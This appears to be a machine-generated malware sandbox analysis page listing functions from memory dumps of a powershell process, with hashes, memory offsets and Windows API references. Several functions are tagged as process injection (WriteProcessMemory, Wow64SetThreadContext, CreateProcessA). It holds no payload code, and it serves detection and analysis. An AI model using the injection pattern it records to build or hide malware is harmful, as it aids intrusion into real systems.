Opcode ID: d39ac3c54c3c1833a2bc4a64b95cf13c897a65d2cf512c1e264965665054c4fd
Instruction ID: f5ac5e635991cde483fdbc0d04e57882ed3cbfc6b5c9952aa0bc0034431773f9
Opcode Fuzzy Hash: d39ac3c54c3c1833a2bc4a64b95cf13c897a65d2cf512c1e264965665054c4fd
Instruction Fuzzy Hash: 1A11CBB760935A9FD721CB54D850AA5BB7AEFC1210F1881ABEA25CB292D775C840C790

Function 07AE0537 Relevance: 2.5, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'dq, xrefs: 07AE058D
4'dq, xrefs: 07AE0599

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq
API String ID: 0-2306408947
Opcode ID: 11b7ccc5b6d3032791d1fb148b4af01ff5c198a8d36e70d535e6ff605f983c6f
Instruction ID: 945f41d7f1c04d5222170cd08e6fea91824cc5f0086bcf66c85d36ec9c36573c
Opcode Fuzzy Hash: 11b7ccc5b6d3032791d1fb148b4af01ff5c198a8d36e70d535e6ff605f983c6f
Instruction Fuzzy Hash: 3CF0A4B0B082098FDF159BB5802036E6BB67FC2148B3480AAC890CA185DBA5C842D372

Function 077D7C74 Relevance: 1.7, APIs: 1, Instructions: 213
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 077D7E5A

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c505466b13679064531cdc136cdedeff0d6e63fff680ea53b70eefeeb2705e54
Instruction ID: f05253e3a15a7284ec419abfcfef603bf2794718888613e1c52bfcebb89cb4d4
Opcode Fuzzy Hash: c505466b13679064531cdc136cdedeff0d6e63fff680ea53b70eefeeb2705e54
Instruction Fuzzy Hash: 398179B1D0074A8FDB14CFA9C8917ADBBF1EF48350F24852AE858A7284D7749892CB81

Function 077D7C80 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 077D7E5A

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 82eb880156ee1b0031196fa98eecd94b308f9ea08cdaa337ee294241183552e3
Instruction ID: 1f9ad8a8943758e27db8892eee8dd3fcdc73b3185af9992c765f3b72e3238462
Opcode Fuzzy Hash: 82eb880156ee1b0031196fa98eecd94b308f9ea08cdaa337ee294241183552e3
Instruction Fuzzy Hash: 898168B1D0064A9FDB24CFA9C8817EDBBF2FF48354F24852AE819E7244D7749891CB81

Function 077C6EF4 Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 077C6FE9

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0a5082e3a50f5217ac9b844f243b5a380bd8cade5530e508fccda90c39bdaa64
Instruction ID: 1f5f3fe27b1e3f3d60ab30abd3d9917efb5212494f717c79b2b7ce7a24907a2f
Opcode Fuzzy Hash: 0a5082e3a50f5217ac9b844f243b5a380bd8cade5530e508fccda90c39bdaa64
Instruction Fuzzy Hash: 544167B1D102099FDB14CFA9D881BDEBFB5EF48350F14842EE815A7254DB759482CF81

Function 077C72F4 Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 077C73E7

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: ab8d17e54e6022f28b6d7fafcec7bf4c8f30114cff8acb4a4b6e20a781b33f74
Instruction ID: 54e24636857568b2b15440b6941074efa6da0268661c8a37849113425e25f628
Opcode Fuzzy Hash: ab8d17e54e6022f28b6d7fafcec7bf4c8f30114cff8acb4a4b6e20a781b33f74
Instruction Fuzzy Hash: 884175B1D102499FDB18CFA9C8817DEBFB5EF48360F14882EE819AB254DB749446CF81

Function 077C6F00 Relevance: 1.6, APIs: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 077C6FE9

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57040fff96d105f7a77c262debb7547419592095a8927bdfbeabc747db21c823
Instruction ID: b0c91a3342dce3b9d93549f034384b3ad13691b3b4c9496d774b3c7d06b66503
Opcode Fuzzy Hash: 57040fff96d105f7a77c262debb7547419592095a8927bdfbeabc747db21c823
Instruction Fuzzy Hash: E24155B1D102499FEB24CFA9C881B9EBFB5FF48350F14852DE815AB254DB759481CF81

Function 077C7300 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 077C73E7

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: c39bb063a03c28be5c720647e22622b8f82340f99569426d868c2a96a5845ee2
Instruction ID: 3a4b47338f180034c6846b356ffc0ddb8b06e3ce3625d083d181ef6fbfe23657
Opcode Fuzzy Hash: c39bb063a03c28be5c720647e22622b8f82340f99569426d868c2a96a5845ee2
Instruction Fuzzy Hash: 774165B1D102499FDB14CFA9C881B9EBFB5FF48350F14892EE819AB254DB749441CF81

Function 077D8380 Relevance: 1.6, APIs: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077D8406

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f4e4e422e790f56a5ea5d4821da79c077cd514cc82cbc0375760038ce4f97bb2
Instruction ID: d3597cce4aaa331c41114aad84de45511c4f800a4d0c19913cd755849da8c62c
Opcode Fuzzy Hash: f4e4e422e790f56a5ea5d4821da79c077cd514cc82cbc0375760038ce4f97bb2
Instruction Fuzzy Hash: 29214AB1D102499FDB50CFAAC5857EEBFF4EF48324F24882AD459B7240C7789945CBA1

Function 077D8C30 Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 077D8CC8

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d779bc9a04497bdb46f11731aaebbf7035661bc8b472ddfff7f54fc565f86ef9
Instruction ID: 925d354b5484ddf93d546ce6cb2b5312eab603b9c07637c37514191b008f0d59
Opcode Fuzzy Hash: d779bc9a04497bdb46f11731aaebbf7035661bc8b472ddfff7f54fc565f86ef9
Instruction Fuzzy Hash: 8C2148B1900349DFDB10CFA9C981BEEBBF5FF48310F14882AE519A7240D7789941DB61

Function 077D8C38 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 077D8CC8

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e0fd1e721a6b4f2c255e10f81b2f8831c048d4c7f1f9187546146d6371021572
Instruction ID: c9cc583dad97d08680db6d7d02e2df0092083f55af2733d51551b0a64d0e0131
Opcode Fuzzy Hash: e0fd1e721a6b4f2c255e10f81b2f8831c048d4c7f1f9187546146d6371021572
Instruction Fuzzy Hash: 88212AB1901309DFDB10DFA9C985BDEBBF5FF48320F148829E519A7240D7789944DBA1

Function 077D8388 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 077D8406

Memory Dump Source

Source File: 00000006.00000002.2676123374.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7b319546b1352482eafb2b53fcddae5af231f81e2883df00e5cd3f07eb7dad15
Instruction ID: e66e068731d5225cbd0c8e30c716cb1a57f177bd9259b2ab769c65ea3329e71c
Opcode Fuzzy Hash: 7b319546b1352482eafb2b53fcddae5af231f81e2883df00e5cd3f07eb7dad15
Instruction Fuzzy Hash: ED2138B1D003099FDB10DFAAC5857EEBBF4EF88324F14842AD419A7240CB789945CFA1

Function 03172A7C Relevance: 1.6, APIs: 1, Instructions: 62injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03172B0D

Memory Dump Source

Source File: 00000006.00000002.2607556676.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3170000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 72d617851d7b74070902d6e4bb57cd78bea0ee3829f9776db5c55ad87d6bd220
Instruction ID: 12a48f4350c518f0723dfd9dd22535b303dff8f34e35e840db7733a980623a77
Opcode Fuzzy Hash: 72d617851d7b74070902d6e4bb57cd78bea0ee3829f9776db5c55ad87d6bd220
Instruction Fuzzy Hash: 4521E2B5900259DFCB10CF99D985ADEBBF4FB48320F14852AE919A7350C378A945CBA0

Function 03172A80 Relevance: 1.6, APIs: 1, Instructions: 61injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03172B0D

Memory Dump Source

Source File: 00000006.00000002.2607556676.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3170000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7e073c03ba6782ad01f2a982b41b4471e8965a95a331d0b2a6617232f83896a1
Instruction ID: d51f427ee1f7060505fb9e3057392adaf44ae505fefd67c0cdc8cc62112301fd
Opcode Fuzzy Hash: 7e073c03ba6782ad01f2a982b41b4471e8965a95a331d0b2a6617232f83896a1
Instruction Fuzzy Hash: 6C21EFB59003499FCB10CF9AD985ADEFBF4FB48320F14842AE919A7250D374A945CBA0

Function 077C7671 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 077C76E6

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: bfac51484526e6cc2b013f35d98336f1c60b0ca3d009812d45c092bd46f49358
Instruction ID: f59fa782d7bc4bbd22721f975b3aca386404a626ccfdac2ae3c1427a397d9413
Opcode Fuzzy Hash: bfac51484526e6cc2b013f35d98336f1c60b0ca3d009812d45c092bd46f49358
Instruction Fuzzy Hash: 6E1189B29002099FCB10CFAAC845BDEBFF5EF88324F24881AE519B7200CB759540CFA1

Function 077C7678 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 077C76E6

Memory Dump Source

Source File: 00000006.00000002.2675965538.00000000077C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77c0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: d5ead17399c0f5a4ff0e01449ef9630d1e5e6990bcfd95a271061a8bc02b9a69
Instruction ID: 498e4c7aafaf60b317cd7388c9ad7c0f8fe15e3a0bd242458f7be46a0c89fa20
Opcode Fuzzy Hash: d5ead17399c0f5a4ff0e01449ef9630d1e5e6990bcfd95a271061a8bc02b9a69
Instruction Fuzzy Hash: 47113AB19002499FDB10DFAAC845BDEFFF5EF88324F248819E519A7250CB759540DFA1

Function 03172AEB Relevance: 1.5, APIs: 1, Instructions: 30injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03172B0D

Memory Dump Source

Source File: 00000006.00000002.2607556676.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3170000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d77fd04c5b546b281356b745aafd008920b78933c34a4e4343c2b4663fe3ee98
Instruction ID: 31207c22ae37127cea68f0b24a3222ea2aca54c1c43c15e2d12ed4ea7ba867cc
Opcode Fuzzy Hash: d77fd04c5b546b281356b745aafd008920b78933c34a4e4343c2b4663fe3ee98
Instruction Fuzzy Hash: E1F034B2804348DEDB21DF99D848BCAFFF4EF5D325F18844AD059A7591C378614ADB21

Function 075D84D0 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

(odq, xrefs: 075D85B1

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: (odq
API String ID: 0-567950297
Opcode ID: ef1f88e28884c33774aa97141b7e9e835357314139f884ff2c443059ed8707f7
Instruction ID: fd18752e1fd500b38d673ad1883af72a023d06f06a569c26804404e969f7c359
Opcode Fuzzy Hash: ef1f88e28884c33774aa97141b7e9e835357314139f884ff2c443059ed8707f7
Instruction Fuzzy Hash: 462168B0A0124AEFDB34CF5DC845BEA7BB2BB41361F08856AE4158B290D771FD80CB91

Function 07AE1C51 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

tPdq, xrefs: 07AE1C5A

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: tPdq
API String ID: 0-2402691438
Opcode ID: 4029e10153a456627f05a4cabc0bf80c51d8840e19c247480dd4a8c6d02abb8c
Instruction ID: ec43777e8b6f795f79651a992da1b426d2716405100b003e67fde258f3335ad5
Opcode Fuzzy Hash: 4029e10153a456627f05a4cabc0bf80c51d8840e19c247480dd4a8c6d02abb8c
Instruction Fuzzy Hash: 88115BB07002185BDB20A7A988117AE76D79FC4718F20841DE904DF3C0CD759D418369

Function 075D8080 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

4'dq, xrefs: 075D8131

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq
API String ID: 0-1167855494
Opcode ID: d692992cda99d1afb69edfa2e6febcfb6da375c0b09835da57c433f3bc2daf6d
Instruction ID: dcf3dbfd854fcfbfbaf8c1b767c6f478d0ed7d8195826c7e600eec606d02e1e5
Opcode Fuzzy Hash: d692992cda99d1afb69edfa2e6febcfb6da375c0b09835da57c433f3bc2daf6d
Instruction Fuzzy Hash: 11114CF0A002099FDB70DFADC8406AABBE6BF85351F1484AAD815CB290EB31ED45C791

Function 07AE6734 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f02a1d4ef6ad7fa2b0cbe5f99c0df2328ffec83095e1fec5249140e92bbff3a
Instruction ID: 639738e246e6f2fa155653b521f8754f9fa95b757db568a107a12c1d703b6df0
Opcode Fuzzy Hash: 7f02a1d4ef6ad7fa2b0cbe5f99c0df2328ffec83095e1fec5249140e92bbff3a
Instruction Fuzzy Hash: F4324DB5B00214CFDB54CB68C851BA9BBB2EF89304F14C4A9D9099B752CB72ED81CF91

Function 07AE6E16 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c534286d97a896498f39a5a86c96e0b74e7436c5cde33cee679c5f82e95f13
Instruction ID: 05059363c2abd7ac3e8fd942145a3f55e8273f899311500ed246b1c71d877a59
Opcode Fuzzy Hash: 45c534286d97a896498f39a5a86c96e0b74e7436c5cde33cee679c5f82e95f13
Instruction Fuzzy Hash: E4123A75B00214CFDB54CB18C891BA9BBB2EF89314F14C499E9199B752CB72ED81CF91

Function 04D7A1E8 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494ac65ef5bd9475f4dc9c12174679b72c50616f1cd8315bde0deb4e9c80f97e
Instruction ID: 2c41497a1d0664d34b4a35415c992c05f23e5f439b96253a1ce29edda9865f70
Opcode Fuzzy Hash: 494ac65ef5bd9475f4dc9c12174679b72c50616f1cd8315bde0deb4e9c80f97e
Instruction Fuzzy Hash: F2F17C74A012489FCB05CFA8D494A9DFBF2FF89310F258199E855AB361DB31ED46CB90

Function 04D7CE20 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c3dafe271f71013bb035352f6556800b838432646fbab63b42abe44288f4ca
Instruction ID: d2616d623ae4c07ea0be35e5089d2b535b2da08d298ad57d2197cda4af46c1af
Opcode Fuzzy Hash: 53c3dafe271f71013bb035352f6556800b838432646fbab63b42abe44288f4ca
Instruction Fuzzy Hash: 79D13974A012499FDB05DFA8D490A9DFBF2FF88310F24815AE845AB351DB31ED86CB90

Function 075D7C50 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d0d2f6d6b907bb446d62d0bf429332adb4180ebdc24862d178a5849ca818426
Instruction ID: 1d6e91fc3729e4889ddd2a94425b75bf4cc5a39a650ee4154e20572d4ae25985
Opcode Fuzzy Hash: 9d0d2f6d6b907bb446d62d0bf429332adb4180ebdc24862d178a5849ca818426
Instruction Fuzzy Hash: 7D8193B17002069FDB34DE5DC541AEA7BE2BF89351F18885AE8149B390DB35DD41CBA1

Function 07AE3CF0 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2463551200b559c1f1076886639b22544248695e653376431272e26dd3303669
Instruction ID: 2b947622c6f72da4bd5b44136d8ae27c2200acf4adc1cb343614f6b599461cf8
Opcode Fuzzy Hash: 2463551200b559c1f1076886639b22544248695e653376431272e26dd3303669
Instruction Fuzzy Hash: A641E9B2B001159BCF149FB988511BEBBEAAFC4310F24846ADC15DB385DA31DD41CBD5

Function 04D7BF19 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68335c876f77492be41c151a541ccdcab6971e625030c53dc9c3c3691debe75
Instruction ID: b3988d5403f1f4d360d98b86d9c5df986b68b67017b53f6340c4f6a06b8a073a
Opcode Fuzzy Hash: a68335c876f77492be41c151a541ccdcab6971e625030c53dc9c3c3691debe75
Instruction Fuzzy Hash: 7B51D674A00208AFDB14DFA8D484AADFBF6BF88714F24C559E404AB355DB35ED86CB90

Function 075D7E38 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2674865150.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_75d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac34c4e56f6f4232a5d0c6595f32164964236ae7fefcf7488c4a4f0ece4a971
Instruction ID: 9f3ebf0a9726924232e45ad27c210b34b4a2cec7cad42d61475b640851db1e6c
Opcode Fuzzy Hash: bac34c4e56f6f4232a5d0c6595f32164964236ae7fefcf7488c4a4f0ece4a971
Instruction Fuzzy Hash: E7416D75700205AFCB18DF6DC54199EBBE2FFC8310B258959EC05AB790CB71ED028BA5

Function 077E3590 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7609f2479423fb71a4b0546c9bc07c213bed3029f821193aed52997a50bf11
Instruction ID: bab5b605a105be986173f7371a2b629c7c0b2cd1d29b93772399042caff02ea7
Opcode Fuzzy Hash: fa7609f2479423fb71a4b0546c9bc07c213bed3029f821193aed52997a50bf11
Instruction Fuzzy Hash: 453147B8E042098FDB04DFAAD8452EEBBF6EB8A300F10952AC415BB345D73549448BA0

Function 07AE3CD1 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9327765bf77e847ca0b93cf5941a132d9744a71295ce2f521886c7dd7eec3874
Instruction ID: 347e4f8e46e1ce95952033b04128e6fb0e13497c7478833af51cdda0f5b4412b
Opcode Fuzzy Hash: 9327765bf77e847ca0b93cf5941a132d9744a71295ce2f521886c7dd7eec3874
Instruction Fuzzy Hash: D8214BF1A063955FCF119F39C8401AABFB5AF85210B1945EACC54DB282D634DE40C791

Function 077EA2C0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be5f35601ab9ac39e9e0adc4a6fd43d31d15775bf927e6877d435dda50ff1263
Instruction ID: a1c0bc5804ed942ecf548f4026b41e579980741595af3e252b2dd2faf97ffffa
Opcode Fuzzy Hash: be5f35601ab9ac39e9e0adc4a6fd43d31d15775bf927e6877d435dda50ff1263
Instruction Fuzzy Hash: 35217AB4D012198FCB04DFA9D4442FEBBB6EB8E361F11842AC905B7241DB740A84CBA1

Function 04C7D0E4 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610275024.0000000004C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba43de8ea1f3d7f8eebbcdbcbf4b7443a1f1e77522cbf80e0b56e11e5508dbc
Instruction ID: 1c86d6c185331bf39ff84ae9bf61570d97318565b408dfe3120dc1fd6ff3e9b8
Opcode Fuzzy Hash: aba43de8ea1f3d7f8eebbcdbcbf4b7443a1f1e77522cbf80e0b56e11e5508dbc
Instruction Fuzzy Hash: 242134BA604340EFCB05DF14D9C0B26BF66FF84364F28C569E80A0B201C336E446CBA2

Function 077EA2D0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782b78b55264d7f4773b7fce9b670bffe234388ebbdfeda53849fb3b07ddd04c
Instruction ID: 25fafa33dad0e1bcef4c58b6df45917444a750e9866233ce10a8cf61766fbe68
Opcode Fuzzy Hash: 782b78b55264d7f4773b7fce9b670bffe234388ebbdfeda53849fb3b07ddd04c
Instruction Fuzzy Hash: C1213AB4D01219CFDB04DFAAC4486FEBBB9EB8D310F11C42AD505B7241DB751A848BA1

Function 04D7CE04 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e2a2f1068eb6ea32e985fcea009595f1bdd1af46aee2bb7e81f816c3273d89
Instruction ID: 7b03a0878524d01807b303288c3d87b2985174a6e110ad809c0b564a5a849b98
Opcode Fuzzy Hash: 54e2a2f1068eb6ea32e985fcea009595f1bdd1af46aee2bb7e81f816c3273d89
Instruction Fuzzy Hash: DC214D74A052098FCB01CF98D4809AEBBF1FF89310B14819AD849EB351D731ED41CBA1

Function 07AE78CD Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5ac32219e93a0db96984d89ab09fac7f2fb775cc22c0e795f31ff3e8f59126
